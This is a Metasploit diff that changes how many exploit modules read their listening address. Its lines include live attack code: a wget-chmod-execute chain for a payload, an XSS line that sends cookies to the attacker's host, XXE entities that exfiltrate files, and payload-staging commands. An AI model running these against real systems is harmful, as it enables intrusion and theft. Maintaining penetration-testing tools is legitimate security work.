diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
index 632deb986d388..4bcafc8e94288 100644
--- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
+++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb
@@ -100,7 +100,7 @@ def run
     fake_host = datastore['FAKEHOST'] || datastore['HOST']
     fake_port = datastore['FAKEPORT'] || datastore['PORT']
     host = datastore['HOST']
-    local_host = srvhost
+    local_host = datastore['SRVHOST']
     local_port = datastore['SRVPORT']
     port = datastore['PORT']
 
diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb
index 97067fa0ee664..62002b9e99123 100644
--- a/modules/auxiliary/server/netbios_spoof_nat.rb
+++ b/modules/auxiliary/server/netbios_spoof_nat.rb
@@ -69,7 +69,7 @@ def netbios_service
 
     @sock = ::UDPSocket.new()
     @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
-    @sock.bind(srvhost, @port)
+    @sock.bind(datastore['SRVHOST'], @port)
 
     @targ_rate = datastore['PPSRATE']
     @fake_name = datastore['NBNAME']
diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
index a1ae971b72c28..4fc5bcba1787a 100644
--- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
+++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb
@@ -80,7 +80,7 @@ def cleanup
   def run
     host = datastore['HOST']
     port = datastore['PORT']
-    local_host = srvhost
+    local_host = datastore['SRVHOST']
     local_port = datastore['SRVPORT']
 
     root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
index 90a41d0ce88c8..017a21bdb7c39 100644
--- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
+++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
@@ -58,7 +58,7 @@ def setup
 
   # Setup the server module and start handling requests
   def run
-    print_status("Listening on #{Rex::Socket.to_authority(bindhost, bindport)}...")
+    print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
     exploit
   end
 
diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb
index f39d17c81839e..86950cafd05f7 100644
--- a/modules/auxiliary/server/tftp.rb
+++ b/modules/auxiliary/server/tftp.rb
@@ -37,7 +37,7 @@ def initialize
   end
 
   def srvhost
-    srvhost || '0.0.0.0'
+    datastore['SRVHOST'] || '0.0.0.0'
   end
 
   def srvport
diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
index 5ae374dcc5411..dfd7f497dfe81 100644
--- a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
+++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
@@ -72,6 +72,7 @@ def initialize(info = {})
     register_options(
       [
         OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
+        OptAddress.new('SRVHOST', [true, 'The local host to listen on. This must be an address on the local machine reachable by the target', ]),
         OptPort.new('SRVPORT', [true, 'The local port to listen on.', 3010])
       ]
     )
@@ -91,6 +92,10 @@ def check
   end
 
   def exploit
+    if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
+      fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
+    end
+
     if check != Exploit::CheckCode::Detected
       fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
     end
@@ -122,9 +127,9 @@ def send_request_soap
       <ns7744:login xmlns:ns7744="urn:NSConfig">
       <username xsi:type="xsd:string">nsroot</username>
       <password xsi:type="xsd:string">nsroot</password>
-      <clientip xsi:type="xsd:string">#{srvhost_addr}</clientip>
+      <clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
       <cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
-      <ns xsi:type="xsd:string">#{srvhost_addr}</ns>
+      <ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
       </ns7744:login>
       </SOAP-ENV:Body>
       </SOAP-ENV:Envelope>
diff --git a/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb b/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
index 525c1b43d45a0..bc696c880e64a 100644
--- a/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
+++ b/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
@@ -211,7 +211,7 @@ def agent_command_handler(cookie)
       data = {
         'client_id' => mac_address,
         # removed the rickroll from the PoC :(
-        'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='#{get_uri}/'+document.cookie;</script>"),
+        'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),
         'has_error' => false
       }
       wsock.put_wsbinary(JSON.generate(data))
@@ -238,7 +238,7 @@ def agent_callback_checkin(cookie)
         os_name: datastore['AGENT_OS'],
         os_arch: 'amd64',
         mac_address: mac_address,
-        local_ip_address: srvhost,
+        local_ip_address: datastore['SRVHOST'],
         port: datastore['SRVPORT'].to_s,
         fetched_unix: Time.now.to_i
       }
@@ -362,6 +362,7 @@ def exploit
            datastore['AGENT']
       fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')
     end
+    fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
 
     @xss_response_received = false
 
diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb
index 241ce0d44a9b9..e7cd52ca33789 100644
--- a/modules/exploits/linux/http/craftcms_ftp_template.rb
+++ b/modules/exploits/linux/http/craftcms_ftp_template.rb
@@ -189,7 +189,7 @@ def check
 
   def trigger_http_request
     vprint_status('Triggering HTTP request...')
-    templates_path = "ftp://#{Rex::Socket.to_authority(srvhost_addr, srvport)}"
+    templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
     send_request_raw(
       'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
       'method' => 'GET'
@@ -212,7 +212,7 @@ def start_ftp_service
   def exploit
     vprint_status('Starting FTP service...')
     start_ftp_service
-    vprint_status("FTP server started on #{srvhost}:#{datastore['SRVPORT']}")
+    vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
     vprint_status('Sending HTTP request to trigger the payload...')
     trigger_http_request
   end
diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
index 9cc3ab323e980..1e222150cdc9e 100644
--- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
+++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb
@@ -125,9 +125,18 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}" + resource_uri
 
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
@@ -137,6 +146,7 @@ def exploit
         },
         'ssl' => false # do not use SSL
       })
+
     end
 
     #
diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb
index bb54c8bb9a668..7afd0a0acd55e 100644
--- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb
+++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb
@@ -159,8 +159,15 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
index 45abb16b2431c..7674f164a0fe7 100644
--- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb
+++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb
@@ -262,8 +262,14 @@ def exploit
       @elf_sent = false
       resource_uri = '/' + downfile
 
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{peer} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
index ebf3d30e6c4a5..aeffec0faf16d 100644
--- a/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
+++ b/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb
@@ -469,10 +469,12 @@ def on_request_uri(cli, _request)
   #
   def download_and_run_payload(payload_uri)
     srv_host =
-      if datastore['DOWNHOST'].present?
+      if datastore['DOWNHOST']
         datastore['DOWNHOST']
+      elsif datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
+        Rex::Socket.source_address(rhost)
       else
-        srvhost_addr
+        datastore['SRVHOST']
       end
 
     srv_port = datastore['SRVPORT'].to_s
diff --git a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
index 06a63bee6cfad..d492583774726 100644
--- a/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
+++ b/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
@@ -146,10 +146,16 @@ def exploit
     @payload_name = rand_text_alpha_lower(3..5)
     root_payload = rand_text_alpha_lower(3..5)
 
-    http_service = (datastore['SSL'] ? 'https://' : 'http://') + srvhost_addr + ':' + datastore['SRVPORT'].to_s
+    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+      srv_host = Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
+
+    http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
     service_uri = http_service + '/' + @payload_name
 
-    print_status("#{peer} - Starting up our web service...")
+    print_status("#{peer} - Starting up our web service on #{http_service} ...")
     start_service({
       'Uri' => {
         'Proc' => Proc.new { |cli, req|
diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
index 9dddf84505241..b8a4d68afc292 100644
--- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
+++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb
@@ -155,8 +155,17 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
index 2a2b5f9216210..095075cc20b48 100644
--- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
+++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb
@@ -306,8 +306,17 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
index 93f16fdec8b3f..6b33b4600e49d 100644
--- a/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
+++ b/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb
@@ -214,7 +214,7 @@ def send_path(path)
     xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
     xml += '['
     xml += "  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
-    xml += "    <!ENTITY % #{system_entity} SYSTEM \"http://#{srvhost_addr}:#{srvport}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param};  "
+    xml += "    <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param};  "
     xml += ']'
     xml += "> <r>&#{@xxe_exfil};</r>"
 
@@ -558,6 +558,10 @@ def setup_module
     @info = Hash.new
     @module_setup_complete = true
 
+    if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
+    end
+
     start_service({
       'Uri' => {
         'Proc' => proc do |cli, req|
@@ -605,7 +609,7 @@ def on_request_uri(cli, req)
       data = Rex::Text.rand_text_alpha_lower(4..8)
       response = "
 <!ENTITY % #{data} SYSTEM \"#{path}\">
-<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{srvhost_addr}:#{srvport}/#{@url_data}/%#{data};'>\">"
+<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"
       send_response(cli, response)
     when @url_data
       @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))
diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
index 32c396ccb9979..245a8035a7890 100644
--- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
+++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb
@@ -160,8 +160,17 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
index ab6cd387edc80..332a79278b470 100644
--- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
+++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb
@@ -273,8 +273,17 @@ def exploit
     if (datastore['DOWNHOST'])
       service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
     else
-      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
-      print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+
+      # we use SRVHOST as download IP for the coming wget command.
+      # SRVHOST needs a real IP address of our download host
+      if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::')
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
       start_service({
         'Uri' => {
           'Proc' => proc do |cli, req|
diff --git a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb
index 2bd87d3e7d566..67fb593076ec7 100644
--- a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb
+++ b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb
@@ -167,11 +167,15 @@ def minimal_gguf(arch = 'llama')
 
   def start_registry
     start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } })
-    print_status("Rogue OCI registry on #{Rex::Socket.to_authority(bindhost, bindport)}")
+    print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}")
+  end
+
+  def srvhost_addr
+    datastore['SRVHOST']
   end
 
   def registry_model_name(namespace)
-    "#{srvhost_addr}:#{srvport}/#{namespace}/model"
+    "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model"
   end
 
   def on_request_uri(cli, request)
diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb
index ea0744b89b795..8e8266aa99d00 100644
--- a/modules/exploits/linux/http/railo_cfml_rfi.rb
+++ b/modules/exploits/linux/http/railo_cfml_rfi.rb
@@ -90,7 +90,11 @@ def check
   end
 
   def exploit
-    url = 'http://' + Rex::Socket.to_authority(srvhost_addr, srvport)
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
+    end
+
+    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
 
     @shell_name = Rex::Text.rand_text_alpha(15)
     stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
@@ -163,9 +167,7 @@ def on_request_shell(cli, _request)
   end
 
   def on_request_stager(cli, _request)
-    url = get_uri(cli)
-    url << '/' unless url.end_with?('/')
-    url << @shell_name
+    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
 
     stager = "<cfhttp method='get' url='#{url}'"
     stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb
index a545c45a3ea99..f95a7b97d9899 100644
--- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb
+++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb
@@ -113,11 +113,13 @@ def request(cmd)
   end
 
   def exploit
+    srvhost = datastore['SRVHOST']
+    srvport = datastore['SRVPORT']
     filename = datastore['FILENAME']
     resource_uri = '/' + filename
     shell_path = '/tmp/'
     cmds = [
-      "\`wget${IFS}http://" + srvhost_addr + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`",
+      "\`wget${IFS}http://" + srvhost + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`",
       "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`",
       "\`" + shell_path + filename + "\`"
     ]
diff --git a/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb b/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
index db10b91cc3c43..49c434e805872 100644
--- a/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
+++ b/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
@@ -162,36 +162,42 @@ def login
   end
 
   def exploit
-    print_status('Attempting Login')
-    cookie, token = login
-
-    start_service({
-      'Uri' => {
-        'Proc' => proc do |cli, req|
-          on_request_uri(cli, req, cookie, token)
-        end,
-        'Path' => '/'
-      }
-    })
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
+    end
 
-    print_status('Cleaning env')
-    inject_request(cookie, token, 'rm -rf /a')
-    inject_request(cookie, token, 'rm -rf b')
-    command = "#{srvhost_addr}:#{srvport}".split(//)
-    command_space = 22 - "echo -n ''>>/a".length
-    command_space -= 1
-    command.each_slice(command_space) do |a|
-      a = a.join('')
-      vprint_status("Staging wget with: echo -n '#{a}'>>/a")
-      inject_request(cookie, token, "echo -n '#{a}'>>/a")
+    begin
+      print_status('Attempting Login')
+      cookie, token = login
+
+      start_service({
+        'Uri' => {
+          'Proc' => proc do |cli, req|
+            on_request_uri(cli, req, cookie, token)
+          end,
+          'Path' => '/'
+        }
+      })
+
+      print_status('Cleaning env')
+      inject_request(cookie, token, 'rm -rf /a')
+      inject_request(cookie, token, 'rm -rf b')
+      command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)
+      command_space = 22 - "echo -n ''>>/a".length
+      command_space -= 1
+      command.each_slice(command_space) do |a|
+        a = a.join('')
+        vprint_status("Staging wget with: echo -n '#{a}'>>/a")
+        inject_request(cookie, token, "echo -n '#{a}'>>/a")
+      end
+      print_status('Requesting payload pull')
+      register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
+      register_file_for_cleanup('/a')
+      inject_request(cookie, token, 'wget -i /a -O b')
+      # at this point we let the HTTP server call the last stage
+      # wfsdelay should be long enough to hold out for everything to download and run
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
     end
-    print_status('Requesting payload pull')
-    register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
-    register_file_for_cleanup('/a')
-    inject_request(cookie, token, 'wget -i /a -O b')
-    # at this point we let the HTTP server call the last stage
-    # wfsdelay should be long enough to hold out for everything to download and run
-  rescue ::Rex::ConnectionError
-    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
   end
 end
diff --git a/modules/exploits/linux/http/vmware_vrli_rce.rb b/modules/exploits/linux/http/vmware_vrli_rce.rb
index fd70f3c41e2ea..7d1ad86adde8b 100644
--- a/modules/exploits/linux/http/vmware_vrli_rce.rb
+++ b/modules/exploits/linux/http/vmware_vrli_rce.rb
@@ -246,6 +246,9 @@ def on_request_uri(cli, _request)
   end
 
   def exploit
+    # This is an important check...
+    fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/
+
     # Step 1 generate malicious TAR archive
     file_name = Rex::Text.rand_text_alpha(7)
     pak_name = "#{file_name}.pak"
@@ -280,7 +283,7 @@ def exploit
     thrift_client.call('getNodeType', Rex::Proto::Thrift::ThriftData.stop)
 
     # Step 3 download the malicious pak
-    server_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT'])}/#{file_name}.tar"
+    server_url = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"
     print_status 'Sending RemotePakDownloadCommand...'
     thrift_client.call(
       'runCommand',
diff --git a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
index 494de025bcf69..d72adb47d83d1 100644
--- a/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
+++ b/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
@@ -85,7 +85,7 @@ def build_discover_packet(hn, user, inf, func)
 
   def discover
     server_sock = Rex::Socket::Udp.create(
-      'LocalHost' => srvhost,
+      'LocalHost' => datastore['SRVHOST'],
       'LocalPort' => datastore['SRVPORT'],
       'Context' => {
         'Msf' => framework,
diff --git a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
index c13ff29bdf411..711994d1fc060 100644
--- a/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
+++ b/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
@@ -186,7 +186,7 @@ def exploit
     uuid = SecureRandom.uuid
 
     ldap_port = datastore["SRVPORT"]
-    ldap_host = srvhost
+    ldap_host = datastore["SRVHOST"]
     ldap_external_host = datastore["LDAPHOST"]
 
     command = payload.encoded
diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb
index ddaf2cee562a9..45a9d1fc6b8c9 100644
--- a/modules/exploits/linux/misc/opennms_java_serialize.rb
+++ b/modules/exploits/linux/misc/opennms_java_serialize.rb
@@ -84,8 +84,15 @@ def exec_command(cmd)
   def wget_payload
     resource_uri = '/' + @dropped_elf
 
-    service_url = 'http://' + srvhost_addr + ':' + srvport.to_s + resource_uri
-    vprint_status("#{peer} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
+    if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
+      srv_host = Rex::Socket.source_address(rhost)
+    else
+      srv_host = datastore['SRVHOST']
+    end
+
+    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+
+    vprint_status("#{peer} - Starting up our web service on #{service_url} ...")
     start_service(
       'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }
     )
diff --git a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb
index b537a18325ec8..caf84230f81cd 100644
--- a/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb
+++ b/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb
@@ -336,8 +336,12 @@ def on_request_uri(cli, _request)
   end
 
   def exploit
+    if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::')
+      fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
+    end
+
     if datastore['SSL']
-      fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it.')
+      fail_with(Failure::Unknown, 'SSL is not supported on this target, please disable it')
     end
 
     print_status("Attempting to exploit #{target.name}")
@@ -352,24 +356,25 @@ def exploit
       [rand(0xff), rand(0xff), rand(0xff), rand(0xff)].pack('C*') + # serial number, can by any value
       [0x5A, 0x6B, 0x7C, 0x8D].pack('C*') # Checksum placeholder
 
+    srv_host = datastore['SRVHOST']
+    srv_port = datastore['SRVPORT']
     @cmd_file = rand_text_alpha_lower(1)
     payload_file = rand_text_alpha_lower(1)
 
     # generate our payload executable
     @payload_exe = generate_payload_exe
 
